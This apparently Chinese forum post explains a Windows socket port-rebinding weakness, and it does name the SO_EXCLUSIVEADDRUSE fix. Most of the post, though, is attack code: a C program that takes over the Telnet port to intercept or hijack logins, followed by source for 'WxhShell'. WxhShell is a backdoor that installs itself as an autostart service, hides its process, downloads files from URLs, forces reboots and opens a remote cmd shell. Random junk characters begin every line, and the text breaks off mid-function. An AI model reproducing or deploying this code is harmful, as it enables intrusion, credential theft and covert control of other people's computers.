在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'5/}MMT s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\_AEuz3
F &AcFa<U saddr.sin_family = AF_INET;
#L:P
R> "q^'5p] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&vX!7Y V )k, 9= bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
y32++b! N%A`rY}u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
y!N)@y4 aijGz< 这意味着什么?意味着可以进行如下的攻击:
LIC~Kehi Cw&D} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G5#}Ed4 n
E}<e: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Ygi1"X} FP'lEp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4<<bk_7' L?27q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
u?;Vxh3@| !5%5]9'n@* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
asN
} $>ZP%~O
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
s.^9HuM hdtnC29$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\41)0,sEy 1DLG]-j} #include
Z#6~N/b #include
C%_ #include
(}1v^~FXj #include
- (_e=3$ DWORD WINAPI ClientThread(LPVOID lpParam);
p?$G>nkdq int main()
V<2fPDZ {
w;@25=
| WORD wVersionRequested;
/rxltF3 DWORD ret;
ZoON5P> WSADATA wsaData;
#;LMtDaL BOOL val;
L\m !8o4 SOCKADDR_IN saddr;
<cv2-?L{ SOCKADDR_IN scaddr;
OZ'.}((?n int err;
M2E87w SOCKET s;
vk)0n= SOCKET sc;
0\Yx.\X, int caddsize;
=ym HANDLE mt;
4^[}]'w DWORD tid;
RmWfV wVersionRequested = MAKEWORD( 2, 2 );
A!W"*WT err = WSAStartup( wVersionRequested, &wsaData );
\q|7,S,5 if ( err != 0 ) {
6~F#F)C' printf("error!WSAStartup failed!\n");
c Z6p^ return -1;
|\%F(d330 }
3> \fP#oQ saddr.sin_family = AF_INET;
uOl(-Zq@ #W@% K9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]LBvYjMY 4Wla&yy saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1Y"35)CR) saddr.sin_port = htons(23);
=Esbeb7P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dmaqXsU8q {
z/0yO@_D/q printf("error!socket failed!\n");
}WO9!E( return -1;
WiNr866nB }
J[!x%8m val = TRUE;
K)Zkj"y //SO_REUSEADDR选项就是可以实现端口重绑定的
Z?(4%U5z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6I&j
cHH {
aXIB ) $1 printf("error!setsockopt failed!\n");
UOu6LD/|h return -1;
VXkAFgO }
KIKq9 * //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
nEd
M_JPv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
u*26>. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]CIQq1iY Ep<!zO| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
QP$nDK< {
pymx\Hd, ret=GetLastError();
R 5K-KSvW printf("error!bind failed!\n");
K=tx5{V return -1;
8Da(tS }
18.Y/nZAgQ listen(s,2);
gp$EXJ= while(1)
W1?!iE~tO {
3q#"i& caddsize = sizeof(scaddr);
z [qdmx^ //接受连接请求
Mr=}B6` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
K5!";V if(sc!=INVALID_SOCKET)
KP=D! l&q {
t&R!5^R mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
C|4U78f{ if(mt==NULL)
|7QVMFZ {
E 4='m printf("Thread Creat Failed!\n");
n5egKAgA break;
qSEB}1 }
D|TLTF" }
wX)efLmyhY CloseHandle(mt);
$/[Gys3" }
zP:~O closesocket(s);
e{fZ}`=7y WSACleanup();
e(}oq"'z return 0;
k;;nE o~6 }
WYwzo V- DWORD WINAPI ClientThread(LPVOID lpParam)
_x\-!&[p {
+R
"AA_A? SOCKET ss = (SOCKET)lpParam;
rWoe
?g SOCKET sc;
#Rin*HL## unsigned char buf[4096];
/B,B4JI)/ SOCKADDR_IN saddr;
7szls71/= long num;
j`2B}@ 2 DWORD val;
K08 iPIkQ DWORD ret;
Cq?',QU6j //如果是隐藏端口应用的话,可以在此处加一些判断
d[Rb:Yw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|h^K M saddr.sin_family = AF_INET;
]`zjRRd saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
b
A)b`1lI saddr.sin_port = htons(23);
+"YTCzv;t if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W[R]^2QAG {
$zC6(C(l printf("error!socket failed!\n");
<\, &:< return -1;
UvPp~N7, }
K4j@j}zK9I val = 100;
+jq
2pFQ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:v#k&Uh3y {
<K.Bq] ret = GetLastError();
I:F'S# return -1;
iD%qy /I/ }
cy1\u2x_` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A#Xj]^-* {
tCZpfZ@+= ret = GetLastError();
`GvA241 return -1;
IIq"e~"Vs }
')C|`(hs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
LKqRvPnh {
cJP'ShnCh printf("error!socket connect failed!\n");
xik`W!1S closesocket(sc);
<9@&oN+T closesocket(ss);
"0|BoG return -1;
':,>eL#+uV }
5Xwk*@t2a while(1)
/GsSrP_?] {
o*%3[HmV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
uyL72($ //如果是嗅探内容的话,可以再此处进行内容分析和记录
&}zRH}s; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=MMCf0 num = recv(ss,buf,4096,0);
HS{P?~:=U if(num>0)
M'^(3#ZU send(sc,buf,num,0);
HjV\lcK:v else if(num==0)
*I=_*LoG2 break;
azvDvEWCQZ num = recv(sc,buf,4096,0);
|xq}'.C if(num>0)
nc<qbN send(ss,buf,num,0);
"YuZ fL`bb else if(num==0)
clHM8$ break;
XK1fHfCEa }
7k3p'FeS closesocket(ss);
LL{t5(- _ closesocket(sc);
+jcdf} return 0 ;
Qqp)@uM^ }
PT mf 6yN"
l
Q7 %h0D)6j
==========================================================
--Oprl c+1vqbqHG 下边附上一个代码,,WXhSHELL
/M 0 p_4 u/} xE7G ==========================================================
PM@XtL7J j\!
e9M #include "stdafx.h"
:ezA+=ENg =Wj{]&` #include <stdio.h>
iNt 4> #include <string.h>
otU@X 3<_ #include <windows.h>
_]P
a>8X* #include <winsock2.h>
_=uviMuE #include <winsvc.h>
VR"8Di&) #include <urlmon.h>
MM7"a?y) s}jlS #pragma comment (lib, "Ws2_32.lib")
6mwvI4) #pragma comment (lib, "urlmon.lib")
#
2d,U\_ Pow|:Lau! #define MAX_USER 100 // 最大客户端连接数
0X.TF #define BUF_SOCK 200 // sock buffer
TNx _Rc} #define KEY_BUFF 255 // 输入 buffer
\F[n`C"Is ?k"0w)8 #define REBOOT 0 // 重启
T\jAk+$Jo #define SHUTDOWN 1 // 关机
mIRAS"Q!m C}9Kx }q #define DEF_PORT 5000 // 监听端口
&uPDZ#C- dnix:'D1 #define REG_LEN 16 // 注册表键长度
t{~@I #define SVC_LEN 80 // NT服务名长度
Hv3W{| (e(Rr4 // 从dll定义API
gNTh% e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1f<RyAE?5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
cu<y8
:U< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)]wuF` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bCzdszvg3 ]s_@n! // wxhshell配置信息
+miR3~w. struct WSCFG {
"tKNlHBu' int ws_port; // 监听端口
t|.Ft<c# char ws_passstr[REG_LEN]; // 口令
.W$
sxVXB int ws_autoins; // 安装标记, 1=yes 0=no
7g5@vYS+ char ws_regname[REG_LEN]; // 注册表键名
ZlrhC= 0 char ws_svcname[REG_LEN]; // 服务名
s*f1x N< char ws_svcdisp[SVC_LEN]; // 服务显示名
qT$)Rb& char ws_svcdesc[SVC_LEN]; // 服务描述信息
Y5n>r@)m char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J=@xAVBc int ws_downexe; // 下载执行标记, 1=yes 0=no
|f<9miNu char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
V7BsE w char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B7|c`7x( S4)A6z$ };
kAeNQRjR KYf;_C,$ // default Wxhshell configuration
[NL -! struct WSCFG wscfg={DEF_PORT,
$5x]%1R "xuhuanlingzhe",
ZEqE$: 1,
J)#S-ZB+'k "Wxhshell",
$]1qbE+ "Wxhshell",
A0OB$OK "WxhShell Service",
)L >Q;' "Wrsky Windows CmdShell Service",
0TmZ*?3!4 "Please Input Your Password: ",
O~atNrHD 1,
7u|%^Ao6 "
http://www.wrsky.com/wxhshell.exe",
{gw[%[ZM "Wxhshell.exe"
pD[pTMG@$ };
bH,M,xIL2 -8/ JP
// 消息定义模块
rfc|`*m}0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K>$qun?5 char *msg_ws_prompt="\n\r? for help\n\r#>";
lQWBCJ8y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>%l:Dw\A: char *msg_ws_ext="\n\rExit.";
oJh"@6u6K char *msg_ws_end="\n\rQuit.";
i+I0k~wY char *msg_ws_boot="\n\rReboot...";
bf(+ldq char *msg_ws_poff="\n\rShutdown...";
12 -EDg/1 char *msg_ws_down="\n\rSave to ";
6P^hN%0 {l@WCR char *msg_ws_err="\n\rErr!";
.'&V#D0 char *msg_ws_ok="\n\rOK!";
"Vx6 #u@} 6`Lcs char ExeFile[MAX_PATH];
>O3IfS(l int nUser = 0;
V,vc_d?,_o HANDLE handles[MAX_USER];
Bh,Q8%\6 int OsIsNt;
vbaC+AiX [Teh*CV SERVICE_STATUS serviceStatus;
>e/ r2U SERVICE_STATUS_HANDLE hServiceStatusHandle;
z>p]/Sa ++0rF\& // 函数声明
)T/J int Install(void);
Zt_r9xs> int Uninstall(void);
&}E:jt} int DownloadFile(char *sURL, SOCKET wsh);
2qjyFTT int Boot(int flag);
DLXL!-)z void HideProc(void);
f7
wmw2 int GetOsVer(void);
o[oqPN3$Y int Wxhshell(SOCKET wsl);
x)$2nonM void TalkWithClient(void *cs);
}2=hd. . int CmdShell(SOCKET sock);
!vVT]k[N int StartFromService(void);
WGPD8. int StartWxhshell(LPSTR lpCmdLine);
J)KnE2dw5 ;Gh>44UM[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{:$NfW VOID WINAPI NTServiceHandler( DWORD fdwControl );
XfDX:b1p M9DgO4xl // 数据结构和表定义
?M~
k$ SERVICE_TABLE_ENTRY DispatchTable[] =
h;nQxmJ9 {
D7gHE {wscfg.ws_svcname, NTServiceMain},
,\x$q' {NULL, NULL}
tpZ->)1 };
Wj tft% 4kh8W~i;/ // 自我安装
=+\$e1Mb* int Install(void)
O+b6lg)q {
AOAO8%|I char svExeFile[MAX_PATH];
j_V/GnEQ HKEY key;
2lo:a{}j strcpy(svExeFile,ExeFile);
|EEi&GOR(y ]'g:B p // 如果是win9x系统,修改注册表设为自启动
@k9Pz<ub if(!OsIsNt) {
7f
r>ZY^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Sc{Tq\t;% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(0}j]p'w RegCloseKey(key);
#D0 ~{H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|T
y=7d , RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G1[(F`t> RegCloseKey(key);
B!uxs return 0;
He<;4?: }
+q-c8z }
]!faA\1 }
U!Mf]3
else {
`S$sQ& t\%%d)d9 // 如果是NT以上系统,安装为系统服务
.
pP7"E4] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,cD1{T\ if (schSCManager!=0)
L;lk.~V4T {
m9!DOL1pl SC_HANDLE schService = CreateService
A_F0\ EN* (
x_W3sS]ej schSCManager,
N<n8'XDdG wscfg.ws_svcname,
bw5T2wYZ wscfg.ws_svcdisp,
|]tZ hI"3< SERVICE_ALL_ACCESS,
XWXr0>!,? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y!5:dvt SERVICE_AUTO_START,
$L\@da? SERVICE_ERROR_NORMAL,
TzY*; svExeFile,
KSsWjF}d NULL,
w5(yCyNp~ NULL,
]5)"gL%H` NULL,
.<.#aY;N NULL,
cmIT$?J NULL
Bq{]Eh0% );
[4\aYB 9N if (schService!=0)
|*fNH(8&H {
,Z5Fea CloseServiceHandle(schService);
%"+4
D,'l CloseServiceHandle(schSCManager);
yzg9I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
y!hi"! strcat(svExeFile,wscfg.ws_svcname);
LuL$v+` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~#4~_d.=L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Gk 6fO RegCloseKey(key);
hIo0S8MOj$ return 0;
}Aw47;5q; }
&=NJ }
7H#2WFQ7 CloseServiceHandle(schSCManager);
@ t|3gF$X }
BfVBywty }
x=vK
EyS@ BUDGyl/= return 1;
X|Dpt2A= }
M}KZG'7 ?S9Nm~vlt // 自我卸载
5W{hH\E _5 int Uninstall(void)
W0|_]"K- {
ThiN9! Y HKEY key;
xU:4Y0y8 Ck@M<(x if(!OsIsNt) {
OEI3eizgH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XR+rT RegDeleteValue(key,wscfg.ws_regname);
9t0Cj/w} RegCloseKey(key);
` yYvYc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W #47Cz RegDeleteValue(key,wscfg.ws_regname);
PT05DH RegCloseKey(key);
0$QIfT) return 0;
{lMqcK }
-f 4>MG }
82s5VQ6 }
pl?kS8#U? else {
k,lqT>C -$9~xX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
yfC2^#9 Zu if (schSCManager!=0)
rmQ\RP W {
g<\>; }e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
w?S8@|MK if (schService!=0)
d EIa=e| {
#'8)u)! if(DeleteService(schService)!=0) {
#\<P]<C CloseServiceHandle(schService);
u uSHCp
CloseServiceHandle(schSCManager);
mtIMW9 return 0;
mYzcVhV }
B*2{M CloseServiceHandle(schService);
zsQF,7/}B }
p7$3`t6u CloseServiceHandle(schSCManager);
*w|iu^G }
P8IRH#ED }
wx./"m.M
WAv@F[ return 1;
?Nu#]u- }
?uig04@3 {Hr>X // 从指定url下载文件
FCAJavOGH int DownloadFile(char *sURL, SOCKET wsh)
H4 =IY {
U1jSUkqb HRESULT hr;
%UBPoq char seps[]= "/";
W#VfX!~ char *token;
XHZLWh"gS char *file;
8;0^'Qr8 char myURL[MAX_PATH];
7BS/T char myFILE[MAX_PATH];
<\p&jk? ,[^o9u uB strcpy(myURL,sURL);
%xHu,* token=strtok(myURL,seps);
8TI#7 while(token!=NULL)
<ip)r; {
y+= \z*9
file=token;
ZRO.bMgZF token=strtok(NULL,seps);
)Yrr%f`\ }
..aK sSm( h~ZNHSP: GetCurrentDirectory(MAX_PATH,myFILE);
"~Us#4> strcat(myFILE, "\\");
GV=V^Fl . strcat(myFILE, file);
i6F P[6H1 send(wsh,myFILE,strlen(myFILE),0);
z30= ay1 send(wsh,"...",3,0);
f!(cD80 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?o@E1:aA if(hr==S_OK)
|\/~
8qP return 0;
*50ZinfoG else
9a-]T=5Ee return 1;
NXi,5 IN>TsTo }
H&9wSG` m8p4U-*j // 系统电源模块
Sw[=S '(l int Boot(int flag)
P^ by'b+zI {
J09ZK8
hK HANDLE hToken;
*x5o=)Y TOKEN_PRIVILEGES tkp;
,znL,%s gl Li if(OsIsNt) {
>
d^r">!, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
RBPYGu'6B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
c'SM>7L tkp.PrivilegeCount = 1;
\/pVcR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aQC7 V !v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
E|\3f(aF if(flag==REBOOT) {
V`U/'N-ay if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b\H/-7< return 0;
/oB K&r[( }
H_v/}DEG else {
2 e) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
gZ=)qT]Pj return 0;
k#BU7Exij }
dr}O+7_7%- }
ud5x$` else {
r*xq(\v if(flag==REBOOT) {
S|tA[klh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
l8eT{!4 return 0;
zC[i <'h!T }
^BQ>vI'.4 else {
9.^-us1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
54bF)<+ return 0;
Q^\{Zg)p }
;I[. }
zjzqKdy}F @:I\\S@bN return 1;
4+ykE: }
[<,0A]m
X*(gT1"t // win9x进程隐藏模块
`>$gy/N void HideProc(void)
%9fa98> {
$eTv6B?m r@\,VD6J HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
g4?Q.'dZr if ( hKernel != NULL )
PpI+@:p[ {
K#%O3RRs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
qFB9,cUqh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
aU,0gvI(} FreeLibrary(hKernel);
zS#f%{ }
Tq_1wX'\ H!Fr("6} return;
u66TrYS tG }
3^uL`ETm@ ufHuI* // 获取操作系统版本
6yV5Yjs int GetOsVer(void)
=P@M&Yy' {
";%e~
= OSVERSIONINFO winfo;
eG a#$x?. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hlYS=cgY= GetVersionEx(&winfo);
Ih9O Rp7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
rcD.P?" return 1;
eA;j/&qH else
iPR!JX
_ return 0;
:Q0?ub] }
(Q*2dd> A?%XO
% // 客户端句柄模块
TW;|G'}$ int Wxhshell(SOCKET wsl)
`Pz!SJ| {
5pN08+ SOCKET wsh;
Off: ~ struct sockaddr_in client;
E1mI Xd;. DWORD myID;
BZnp
#}f GFSlYG while(nUser<MAX_USER)
Jv '3]( {
Fj4l %= int nSize=sizeof(client);
8=!rnJCav wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3(Hj7d7'} if(wsh==INVALID_SOCKET) return 1;
\{Ox@ _"FbjQ" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
VyBJIzs0 if(handles[nUser]==0)
M9ter& closesocket(wsh);
y&KoL\ else
tIg CF? nUser++;
$Sc08ro }
M4L~bK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#]N&6ngJ s~IA},F,\ return 0;
5,G<}cd }
~7)rKHau Ynk><0g6 // 关闭 socket
,& \&::R void CloseIt(SOCKET wsh)
?trt4Tbe/ {
z[$9B#P closesocket(wsh);
4q@9 nUser--;
vh:UXE lm ExitThread(0);
pU'`9fLi_ }
ZipK;!9by VLwJ6?.f' // 客户端请求句柄
ePu2t3E void TalkWithClient(void *cs)
*;ZW=%M {
O #uaGziFf OmoplJ+ SOCKET wsh=(SOCKET)cs;
pE YrmC char pwd[SVC_LEN];
lL(}dbT~N char cmd[KEY_BUFF];
lhW#IiX char chr[1];
R+@sHsZ@ int i,j;
qAuUe=w%p s\3Z?zm8 while (nUser < MAX_USER) {
%yS`C"ZQ) 4u{E D( if(wscfg.ws_passstr) {
HCe-]nMd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0YsN82IDD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Xoa<r9 //ZeroMemory(pwd,KEY_BUFF);
qNuv?.7 i=0;
$O8EiC!f6 while(i<SVC_LEN) {
h\: tUEg#J /hA}9+/ // 设置超时
D=pI'5& fd_set FdRead;
SjNwT[.nr7 struct timeval TimeOut;
`)gkkZ$)j FD_ZERO(&FdRead);
r)Mx.`d! FD_SET(wsh,&FdRead);
3<1HqU TimeOut.tv_sec=8;
R;Ix<y{U TimeOut.tv_usec=0;
Hhce:E@K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
b$$L]$q2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6r-<XNv)0 zxynEdO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xVwi
}jtG| pwd
=chr[0]; j{Qbzczy,
if(chr[0]==0xd || chr[0]==0xa) { &&QDEDszp
pwd=0; hnfrnYH
break; QeOt;{_|
} S92!jp/
i++; MM58w3Mz
} #VMBn}
$BO}D
// 如果是非法用户,关闭 socket EF7|%N
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fAA@ziKg
} ss M9t
3\U,Kg
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?U.&7yY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bbe/w#Z
y0mg}N1
while(1) { uzn))/"
/EAQ.vxI
ZeroMemory(cmd,KEY_BUFF); l8n[8AT1
]qP}\+:
// 自动支持客户端 telnet标准 ?RjKP3P
j=0; #.t$A9'
while(j<KEY_BUFF) { u3?Pp[tM<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wn9Mr2r!*,
cmd[j]=chr[0]; !?>p]0*<
if(chr[0]==0xa || chr[0]==0xd) { OmUw.VH
cmd[j]=0; Zn=JmZ
break; `a1R "A
} vEee/+1?
j++; A"T. nqB^y
} #}]il0d
3E2.v5*
// 下载文件 fB ,!|u
if(strstr(cmd,"http://")) { Tk@g9\6O9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {CyPcD'$s
if(DownloadFile(cmd,wsh)) -r2qIt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BKlc{=
else :@4>}k*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2W-NCE%K)T
} ^} pREe c=
else { EpS8,[w
t;~`Lm@hY
switch(cmd[0]) { kGTc~p(
Vgb>3]SU
// 帮助 9,a,A6xry
case '?': { 3b/vyZF
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DDCQ Af
break; @IKe<{w
} 8LM1oal}
// 安装 C5n=2luI_
case 'i': { kAF}*&Kzd~
if(Install()) lL+^n~g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TXOW/{B
else +Q#Qu0_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _w,0wn9N$
break; Ak-7}i
} >mDubP
// 卸载 s/&]gj"
case 'r': { &^D@(m7>{K
if(Uninstall()) I!0+RP(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GpQF* x
else EYD{8Fw-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fvfVBk#
break; o 0
#]EMr
} .Qw@H#dtW
// 显示 wxhshell 所在路径 -$|X\#R
case 'p': { R3!vS+5rR
char svExeFile[MAX_PATH]; X|B;>q
strcpy(svExeFile,"\n\r"); < 3+&DV-<N
strcat(svExeFile,ExeFile); h}<ZZ
send(wsh,svExeFile,strlen(svExeFile),0); 5Cyjq0+
break; t4c#' y
} imq(3?
// 重启 J#Ehx|
case 'b': { bvRGTOxO
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >"{zrwNq
if(Boot(REBOOT)) YqCK#zT/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w=>mG-
else { +rO<'H:umJ
closesocket(wsh); P&`r87J
ExitThread(0); [MP:Eeg
} S&)
>w5*]U
break; O!+5As
} * CGdfdxW
// 关机 &_hCsC
break; eyjUNHeh#
} :Aiu!}\
// 获取shell p+D6Z'B
case 's': { t? Ja q
CmdShell(wsh); %Z0S"B 3
closesocket(wsh); "(VcYQ+
ExitThread(0); = }lA|S
break; ;7*@Gf}R
} 7f,WzvV
// 退出
C2i..iD
case 'x': { ~y^lNgujO
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s""8V_,;
CloseIt(wsh); ~o5iCt;w
break; PzkXrDlB7
} 'Rw]
C[
// 离开 m6<0 hP
case 'q': { ZU'^%)6~o~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); fOervo
closesocket(wsh); K8c#/o
WSACleanup(); Sylsp%A
exit(1); 6+#cyKj
break; '
uw&f;/E
} ;CBdp-BUj
} `I{Q,HQ7
} c)fp;^
8{t&8Ql n
// 提示信息 ?{")Wt
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s\R?@
} t+q`h3
} E1g$WhXIS
1\{F.v
return; S6X<3L`FfH
} Rx-i.Et Z
zD-8#H35X"
// shell模块句柄 PaJwM%s)L
int CmdShell(SOCKET sock) 'A2"&6m)28
{ qEz'l'%(
STARTUPINFO si; 1R9/AP
ZeroMemory(&si,sizeof(si)); 1 to<at-NN
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5~0;R`D
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LdUpVO8)l
PROCESS_INFORMATION ProcessInfo; 1zW6Pb
char cmdline[]="cmd"; 3s`3}DKK
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _3[BS9
return 0; }dl(9H=4
} #ySx$WT;
Z+7S,M
// 自身启动模式 [.,6~=}vP
int StartFromService(void) -y<uAI g
{ 4gENV{L
typedef struct x0GZ2*vfsb
{ bf(&N-"A
DWORD ExitStatus; tYa8I/HpT
DWORD PebBaseAddress; iK:]Q8b
DWORD AffinityMask; RVnYe='
DWORD BasePriority; o#6}?g.
ULONG UniqueProcessId; 6P|neb}
ULONG InheritedFromUniqueProcessId; ]Jqe)o
} PROCESS_BASIC_INFORMATION; |pY0IqO
RoRVu,1
PROCNTQSIP NtQueryInformationProcess; iKY&gnu"
_AHVMsz@
